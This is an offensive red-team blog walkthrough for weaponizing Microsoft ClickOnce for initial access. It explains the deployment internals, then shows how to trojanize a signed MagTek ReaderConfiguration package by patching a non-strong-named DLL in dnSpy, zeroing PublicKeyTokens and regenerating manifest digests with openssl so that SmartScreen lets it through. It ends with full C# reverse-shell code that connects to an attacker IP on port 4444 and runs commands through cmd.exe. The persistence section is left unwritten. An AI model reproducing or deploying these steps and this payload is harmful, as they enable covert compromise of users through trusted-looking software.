> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/ab-using-clickonce-for-initial-access-and-persistence.md).

# (AB)Using ClickOnce for Initial Access & Persistence

Weaponize ClickOnce for Initial Access. Learn .NET DLL dependency hijacking, bypass Elastic EDR with C# payloads, and persist via .appref-ms.

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2F849MQzjxegQE6VEtg1Pc%2FThe%20company%20(windows)%2C%20trusts%20him%2C%20must%20be%20a%20nice%20guy(program).png?alt=media&amp;token=7b4bd6ce-ab85-4800-b515-4544a94e4819" alt="" width="563"><figcaption></figcaption></figure>

### INTRODUCTION TO BLOG

**ClickOnce is a Microsoft application deployment technology that allows users to install, launch, and update Windows desktop applications directly from a website or network location without requiring a traditional installation process.**

In this blog, we will talk about a very interesting technique for Initial Access and even persistence, and the interesting part about this technique is that it gets installed as a signed and verified application by Windows (so no SmartScreen interruption) and requires very low user interaction

Also, it doesn't require elevated privileges to be deployed like .msi packages...

#### How ClickOnce Applications work on a higher level

1. User executes `.application` or `.appref-ms`
2. Runtime reads the deployment manifest to understand the deployment; it then locates and downloads the full list of files and dependencies needed (these are stored on the remote server which hosts the application)
3. ClickOnce applications are installed per-user, so typically within `%LOCALAPPDATA%`.

## ACT 1: Internals & Execution Architecture

### 1.1 OS Execution Chain

#### Getting the manifests and system ready

Executing the `.application` triggers rundll32.exe with the following command line

```
rundll32.exe dfshim.dll,ShOpenVerbApplication file.application
```

but `.application` is not an executable but a plain text/XML file, so how does executing it triggers `rundll32.exe`, it comes down to how Windows resolves extensions, and that is through `HKEY_CLASSES_ROOT` to it's ProgID, and it's verb so for `.application` and `.appref-ms`, it has

```powershell
PS C:\Users\mfara>reg query "HKCR\.application" /ve
HKEY_CLASSES_ROOT\.application
    (Default)    REG_SZ    Application.Manifest

PS C:\Users\mfara>reg query "HKCR\Application.Manifest\shell\open\command" /ve
HKEY_CLASSES_ROOT\Application.Manifest\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1


PS C:\Users\mfara>reg query "HKCR\.appref-ms" /ve
HKEY_CLASSES_ROOT\.appref-ms
    (Default)    REG_SZ    Application.Reference

PS C:\Users\mfara>reg query "HKCR\Application.Reference\shell\open\command" /ve
HKEY_CLASSES_ROOT\Application.Reference\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2   
```

*Also, note that calling .application and appref-ms calls different functions*

* `dfshim.dll` - It contains different functions for deploying ClickOnce applications (its official description is "ClickOnce Application Deployment Support Library"). It calls `ShOpenVerbApplication` API, which identifies the resources to request from the deployment server.\
  After the requirements are identified, the installation process is redirected to `dfdll.dll` library.
* `dfdll.dll` - It is an internal .NET component, which helps in initializing, locating, and launching the `.application` manifests and `.appref-ms` manifests. It doesn't live in `C:\Windows\System32` or `SysWow64`, instead it lives in the `C:\Windows\Microsoft.NET\Framework\<version>` directory, so we need `dfshim.dll` to resolve the version of .NET used and get the path to `dfdll.dll`. Once `dfdll.dll` is loaded `dfshim.dll` calls `dfdll!ActivateDeploymentW()`, which is responsible for requesting the deployment.\
  The code that executes this process looks a little like this (*AI-generated*)

```c
// Standard rundll32 callback signature.
// The OS passes the .application path/URL into lpszCmdLine (the %1 argument).
void CALLBACK ShOpenVerbApplication(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
    
    // 1. Validate and convert the command-line string (ANSI to Unicode)
    LPWSTR manifestUrl = ConvertAndValidate(lpszCmdLine);

    // 2. Load mscoree.dll to interface with the .NET runtime
    HMODULE hMscoree = LoadLibraryA("mscoree.dll");
    
    // 3. Resolve GetRequestedRuntimeInfo to find the correct .NET framework directory
    pGetRequestedRuntimeInfo pGetRuntime = GetProcAddress(hMscoree, "GetRequestedRuntimeInfo");
    WCHAR runtimePath[MAX_PATH];
    pGetRuntime(..., runtimePath, ...);

    // 4. Load dfdll.dll from the resolved .NET directory (e.g., ...\Framework64\v4.0.30319\)
    HMODULE hDfdll = LoadLibraryW(runtimePath + L"\\dfdll.dll");

    // 5. Resolve the deployment export
    pActivateDeploymentW pActivate = GetProcAddress(hDfdll, "ActivateDeploymentW");

    // 6. Pass the URL/path control down to the actual ClickOnce deployment engine
    pActivate(manifestUrl, ...);
}
```

#### Launching `dfsvc.exe`for ActiveDeployment()

Rundll32.exe is a short-lived launcher and not suitable for a long-running process that ClickOnce Deployment is, it involves network downloads and file I/O.\
So we'll start a COM server and it'll be responsible for deployment.

#### Client-side preparation inside `ActiveDeploymentW()`

right where we left off in the code snippet above, the function `ActiveDeploymentW()` first performs a sanity check on the deployment information to make sure everything is working.\
Then, `ActiveDeploymentW()` calls `dfdll!InvokeServer`, with the motive "ActivateDeployment" *(tho the motive depends on the task)*\
`InvokeServer()` then initializes COM for the current thread, using `ole32!CoInitialize()`, and a subfunction is called, i.e `BindToServer()`. Now, from here, we have two possibilities, tho both of them lead to the same output

* First `BindToServer()` performs a call to `CoCreateInstance()` (this function takes the application and launches it while returning an interface pointer to which other programs can talk, i.e rundll32.exe here, for stuff like deployment failed, download failed/successful, etc.) with the CLSID `{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}` (this CLSID refers to dfsvc.exe) and requests creation of a COM server (with dfsvc.exe as the server), and this server is responsible for deploying (or, in casual terms, installing the ClickOnce applications.

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2FGOGmFHxDtqZHzgx1mYJ6%2FPasted%20image%2020261114112433.png?alt=media&amp;token=566b4e3a-8c24-419a-a456-446a16ee662c" alt=""><figcaption></figcaption></figure>

* Second, if the call fails `BindToServer()` uses `CreateProcessW()` to manually execute `dfsvc.exe`.

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2FqyMUvXSbl2jloT23OA96%2FPasted%20image%2020261114111742.png?alt=media&amp;token=38beb64d-a214-49c5-88c6-dcfe51cefc63" alt=""><figcaption></figcaption></figure>

The first call fails in modern Windows, and we can see the reason in Procmon

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2F3WfUhDxP1CkY3PrWIwVF%2FPasted%20image%2020261114154901.png?alt=media&amp;token=351c229f-4910-4e4b-8172-bdd31484506d" alt="" width="563"><figcaption></figcaption></figure>

\
**dfsvc.exe** - It is the ClickOnce Deployment Fulfillment Service, a component of the .NET Framework. It manages the installation, updating, and execution.\
dfsvc.exe starts with initialization routines to start the COM server, which will receive the deployment requests. `dfdll!RegisterDeployemenyServiceCom()` calls `ole32!CoRegisterClassObject` which allows dfsvc.exe to register the COM server so other processes can communicate with it. Below is a detailed explanation of how that happens; you can read it if you want, or I've also given a summary after it-

* Before `dfsvc.exe` registers itself and starts acting like a server; it must prepare a **Class Factory**. Later, when a client wants to connect and asks for a DeploymentServiceCOM object, this **factory** is responsible for creating that object and handing it back.
* `ole32!CoRegisterClassObject` does three things
  * Registers the server's CLSID in a system-wide internal Registry called the **class table**. This serves as a live directory of which COM servers are currently active.
  * Hands over the pointer for the Class Factory it just created.
  * **Most importantly**, it signals the COM Service Control Manager (SCM), which is the matchmaker between clients and servers, that `dfsvc.exe` is ready as a server for clients to connect
* SCM COMPLETES THE HANDSHAKE, previously rundll32.exe called `CoCreateInstance`. It didn't return instantly. Instead, it blocked and waited. SCM intercepted that request, waited for `dfsvc.exe` to call `CoRegisterClassObject`. The moment `dfsvc.exe` makes this call, the handshake is complete. The SCM grabs the Class Factory pointer that was just published and uses it to fulfill the client's request, finally returning an interface pointer to the waiting `rundll32.exe` process
* This makes the server(dfssvc.exe) & client(rundll32.exe) setup complete.

  > Once spawned, `dfsvc.exe` calls `ole32!CoRegisterClassObject` to publish the `CLSID_DeploymentServer` class factory to the COM SCM, allowing the retry `CoCreateInstance` call in `rundll32.exe` (`dfdll!BindToServer`) to complete the RPC-over-ALPC handshake

As a result, an ALPC is exposed\
**Now, we'll move into what actually `dfsvc.exe` get**

### 1.2 manifest integrity verification to bypass later

So in our initial access attack, we have to basically alter the DLL it is carrying to execute malicious code, but the problem is that ClickOnce installation verifies the DLL using cryptographic integrity. So I'll demonstrate and explain all the verifications that it does (done by `System.Deployment.dll`)\
Once `rundll32.exe` hands off the deployment request to the `dfsvc.exe` background service (as proven in our Procmon trace soon), the actual ClickOnce installation begins. This process is managed by a .NET component called `System.Deployment.dll`

#### Delivery Service & Temporary workspace

`dfsvc.exe` receives a URL, but it doesn't just install anything on the System right away; it first creates a folder in the user's `%Temp%\Deployment\` folder and downloads the initial "Shipping instructions" there

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2Fg4PpsF1kusgJCVSzymSH%2FPasted%20image%2020261114192036.png?alt=media&amp;token=57834d52-597e-42e0-a33c-eb9831bbe914" alt=""><figcaption></figcaption></figure>

(here line 11-17 is the main part, 18-44 it is handling the rest of the arguments, and after that is a mostly error handling)

#### Two-Tier manifest (.application vs .exe.manifest)

There are two manifests that are used; the first one is `.application` which we executed earlier; it contains the link for the second manifest, `.exe.manifest` and a cryptographic fingerprint to verify integrity.\
`.exe.manifest` contains the actual files, DLLs, EXEs, Config files, etc. and each of these files have their unique cryptographic fingerprint in the manifest, to verify the integrity, and make sure that these files were not altered, which is exactly what we are gonna do with our target DLL, so along with that we'll have to also manipulate the cryptographic fingerprint in the manifest so the verification passes.

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2FgagCgRLJn9DfVQ69HmNC%2FPasted%20image%2020261114202422.png?alt=media&amp;token=9d01d070-0a17-47c0-b2c1-4b099b074712" alt=""><figcaption></figcaption></figure>

In this screenshot, you can see the `dsig:DigestValue` is the cryptographic fingerprint that it uses during installation to make sure every file is as it should be, and we're going to change that for our target DLL after we alter it to pass the verification.

## ACT 2: Initial Access

So this technique we are using here is kind of similar to the one used in an espionage attack against South Asian countries by the SideWinder group.\
What is done here is called Dependency Hijacking, where we put malicious code in a trusted DLL.

But if we use just any application to carry our malicious code, it most probably will not be a signed binary, and Windows will block it using SmartScreen, so the first thing we made sure was to use a signed binary; here, MagTek's ReaderConfiguration is used.

* So now let's install the target application; here, we are going to malicous-fy the `ReaderConfiguraiton.exe` which was used by the Sidewalker group in their espionage attack against South Asian countries using the same ClickOnce technique.

So, to first locate our target application (we already installed it in ACT 1, now we have to inject our payload in it and repack it for our beloved victim), ClickOnce applications are stored in `~\Appdata\Local\Apps\2.0\<random>\<random>`, in go to the dir that looks like `read..tion_7ee65bc326f1c13a_0001.0005_bd11abe61de5c772` and you'll see the application installed; copy it into another folder and open it in dnSpy to analyze

Now, if we load a binary with it that is not a dependency (that means it is not a part of its download package), that specific DLL will still remain unsigned and be blocked by SmartScreen.\
**Step 1) Identify the vulnerable DLL dependencies**\
First, we'll open the References tab in dnSpy to see which DLLs have their `PublicKeyToken` set to NULL. Because when an assembly has their `PublicKeyToken` set, it will be referred to as a **Strong-named DLL**, and the CLR enforces a strong-name binding, and then during runtime, it will expect the DLL to have the same `PublicKeyToken` as the reference. Which it won't have since we'll modify it. This will fail the CLR binding, and the main app won't load your DLL.\
So, to make it work, we have to do any one of these

* Use the original private key to re-sign the DLL (we don't have the original key, so can't do that)
* Patch the main executable's reference/ relax binding, but it will make the application unsigned\
  So a DLL with NULL `PublicKeyToken` will not be a strong-named DLL

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2FcTAvmchiODvQvJtDYDqA%2FPasted%20image%2020261115141316.png?alt=media&amp;token=0ef74f0f-1b46-42d2-a85a-8ef1680ba1ac" alt=""><figcaption></figcaption></figure>

In the references, we can see that there are two dependencies that we can use, i.e `MTLib`, `MTSCRANET`, so we'll target one of these two dependencies\
**STEP 2) make sure that the application uses these dependencies**\
preferably early on and not just for some specific, less-used functions only.

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2FnRrmFeVE4sl9UPUVLQhX%2FPasted%20image%2020261115143741.png?alt=media&amp;token=5f66e764-aef5-476a-8128-11357c9c83af" alt=""><figcaption></figcaption></figure>

So we explored the functions of the application, and in the early listed functions only, we noticed that there are many functions like `closeDevice()`, `isConnected()`, `DetectDevice()`, and `MSTCRAHelper_onExtendedRespond()` which uses `MTSCRANET`, making it the favourable DLL.\
Moreover, I suspect `isDeviceConnected()` function inside MTSCRANET.dll to be used right after the application is opened, so it'll be the best function to put our payload into.\
**STEP 3) Injecting the Payload**\
Trace the execution flow of the method `isConnected()` (click on `isDeviceConnected()`, and then again)

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2FQnbxsBKtGW83u57ePeKq%2FPasted%20image%2020261115151805.png?alt=media&amp;token=d8c7a9c2-4e51-47e9-8d1b-81cf198bed42" alt=""><figcaption></figcaption></figure>

and this is where it brought us, and this is the function that we have to patch.\
Now right-click on `isDeviceConnected()` and select `Edit Method (C#)"`

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2FvyvkKEQZmPvUiqx73YLA%2FPasted%20image%2020261115152429.png?alt=media&amp;token=39d511f2-4b50-4b8c-94ac-7bcaeb5c716d" alt=""><figcaption></figcaption></figure>

It will open this "Edit Code" Window where we can add our payload and compile it into the DLL\
We'll add a simple piece of code that pops up the calculator (and make sure it does that only once using a mutex)

```c#
bool flag = false;
using (new Mutex(true, "RunOnce", out flag))
{
    if (flag)
    {
        System.Diagnostics.Process.Start("calc.exe");
    }
}
```

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2F00L3Ap5jeWMeHEHuYMGE%2FPasted%20image%2020261115153435.png?alt=media&amp;token=15142838-724e-4661-9a0d-c7413cc90465" alt=""><figcaption></figcaption></figure>

It should look like this, then `compile` and then, `file`>`Save Module`, now our\
**Step 4) Make it ready to host**\
Now, before we host it for our target to download and execute, we have to update its manifests to match the changes we made in the DLL.

> because the binary says the PublicKeyToken is NULL, then we can zero it out in the manifest, and the windows will skip it. But if the binary had said that it has some `PublicKeyToken`, then it would have been compulsory for Windows to verify it and Zeroing it out would have thrown error

Open `ReaderConfiguration.exe.manifest`, you'll see the `PublicKeyToken` on line 3

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2F3cVDE6ExW6bGQCtn4zWQ%2FPasted%20image%2020261115222937.png?alt=media&amp;token=3036dcc5-2a1a-4777-af64-b160ceb08777" alt=""><figcaption></figcaption></figure>

* Zero it out `0000000000000000`
* At line 83, you'll see its size; most probably it would be right, but still, if it's not, change it to match the new DLL's size.

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2FHi5SHVd4DMXiGDR4YknQ%2FPasted%20image%2020261115223900.png?alt=media&amp;token=382efe53-b884-423c-b863-af9bf8b56b82" alt=""><figcaption></figcaption></figure>

* Now, right below it, is its `<dsig:DigestValue>` hash; we'll generate a new hash to replace it using

```cmd
"C:\Program Files\OpenSSL Library\openssl-4.1\bin\openssl.exe" dgst -binary -sha256 MTSCRANET.dll | "C:\Program Files\OpenSSL Library\openssl-4.1\bin\openssl.exe" enc -base64
```

**STEP 5) Now time for the installer's modification**\
cos guess what, we are not going to transfer the installed binary folder to the target system; instead, we have to pack the malicious binary as legit.\
Open `ReaderConfiguration.application` in VSCode, and in lines 3 and 18, zero out the `PublicKeyToken`

<figure><img src="https://1261874797-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKOwfT2aPvdlOv0PeHSTM%2Fuploads%2FOhkXHlSdWstOPjHHc0Ed%2FPasted%20image%2020261116012924.png?alt=media&amp;token=61349703-8834-4734-8f91-17f6110de85a" alt=""><figcaption></figcaption></figure>

Regenerate hash for line 24\
using

```cmd
"C:\Program Files\OpenSSL Library\openssl-4.1\bin\openssl.exe" dgst -binary -sha256 ReaderConfiguration.exe.manifest | "C:\Program Files\OpenSSL Library\openssl-4.1\bin\openssl.exe" enc -base64
```

**STEP 6) Deployment**\
Make the folder like this

```
Example/  <-- This is your root deployment folder (serve from here)
│
├── ReaderConfiguration.application  <-- The deployment manifest goes here
│
└── Application Files/
    └── ReaderConfiguration_1_5_13_2/
        ├── ReaderConfiguration.exe  <-- The executable goes here
        ├── MTSCRANET.dll            <-- (now renamed to .deploy)
        ├── ReaderConfiguration.exe.manifest
        └── ... (other DLLs and files)
```

and run this command to add the .deploy extension in front of all the files in the installed binary folder

```powershell
cd "E:\gg2\COURSE 2\MalDev Academy\Code\Example\Application Files\ReaderConfiguration_1_5_13_2"
Get-ChildItem -Recurse -File -Exclude *.manifest, *.cdf-ms | ForEach-Object { Move-Item $_.FullName "$($_.FullName).deploy" }
```

Again, in ReaderConfiguration.application, replace the `DeploymentProvider` line with

```
<deploymentProvider codebase="http://localhost:8000/ReaderConfiguration.application" />
```

*localhost cos we are testing it locally, other wise it would contain the URL of the attacker's system or domain*\
A red cross on the installer shows that the installer becomes unsigned, but don't worry; the binary it installs will remain a signed binary, evading Windows SmartScreen.

I used this code to get a shell back to nc instead of calc

```
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Threading;
using System.IO;
using System.Net.Sockets;
using MTLIB;

namespace MTSCRANET
{
	// Token: 0x02000002 RID: 2
	public partial class MTSCRA : IMTSCRA, IMTEMV
	{
		// Token: 0x0600002D RID: 45
		public bool isDeviceConnected()
		{
			bool flag = false;
			using (new Mutex(true, "RunOnce", out flag))
			{
				if (flag)
				{
					new Thread(() => {
						try {
							TcpClient client = new TcpClient("172.x.x.214", 4444);
							NetworkStream stream = client.GetStream();
							StreamReader reader = new StreamReader(stream);
							StreamWriter writer = new StreamWriter(stream);
							writer.AutoFlush = true;

							while (true) {
								writer.Write("PS> ");
								string cmd = reader.ReadLine();
								if (cmd == "exit") break;
								
								Process p = new Process();
								p.StartInfo.FileName = "cmd.exe";
								p.StartInfo.Arguments = "/c " + cmd;
								p.StartInfo.RedirectStandardOutput = true;
								p.StartInfo.RedirectStandardError = true;
								p.StartInfo.UseShellExecute = false;
								p.StartInfo.CreateNoWindow = true;
								p.Start();
								
								writer.Write(p.StandardOutput.ReadToEnd());
								writer.Write(p.StandardError.ReadToEnd());
								p.WaitForExit();
							}
							client.Close();
						} catch { }
					}).Start();
				}
			}
			return this.m_service != null && this.m_service.getState() == MTServiceState.Connected;
		}
	}
}
```

{% file src="/files/7ta3GgL5ljgFcXwEjdX6" %}

## ACT 3: Persistence

WILL DO LATER...
